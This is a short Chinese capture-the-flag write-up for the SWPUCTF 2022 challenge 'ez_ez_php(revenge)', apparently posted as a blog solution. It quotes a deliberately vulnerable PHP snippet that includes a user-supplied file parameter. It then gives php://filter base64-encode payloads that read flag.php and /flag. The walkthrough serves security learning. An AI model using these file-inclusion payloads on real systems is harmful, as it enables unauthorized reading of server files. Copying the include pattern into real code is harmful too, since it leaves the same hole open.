题解 :[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
打开网址发现是php代码 如下:
“<?php
error_reporting(0);
if (isset($_GET[‘file’])) {
if ( substr($_GET[“file”], 0, 3) === “php” ) {
echo “Nice!!!”;
include($_GET[“file”]);
}else {
echo “Hacker!!”;
}
}else {
highlight_file(FILE);
}
//flag.php”
我们代码审计一下看看 :
用get方式提交参数file
file参数前三个为php让我们想到了文件包含 :
file=php://filter/convert.base64-encode/resource=flag.php
出现base64文字 我们去翻译一下
https://i-blog.csdnimg.cn/blog_migrate/58547239b48814c750c10917fa50806f.png这个提示我们flag可能在/flag中 我们继续php伪协议
file=php://filter/read=convert.base64-encode/resource=/flag
发现结果仍为base64文字 去翻译
求出flag总结:
关于php伪协议的利用
php代码认识
base64要了解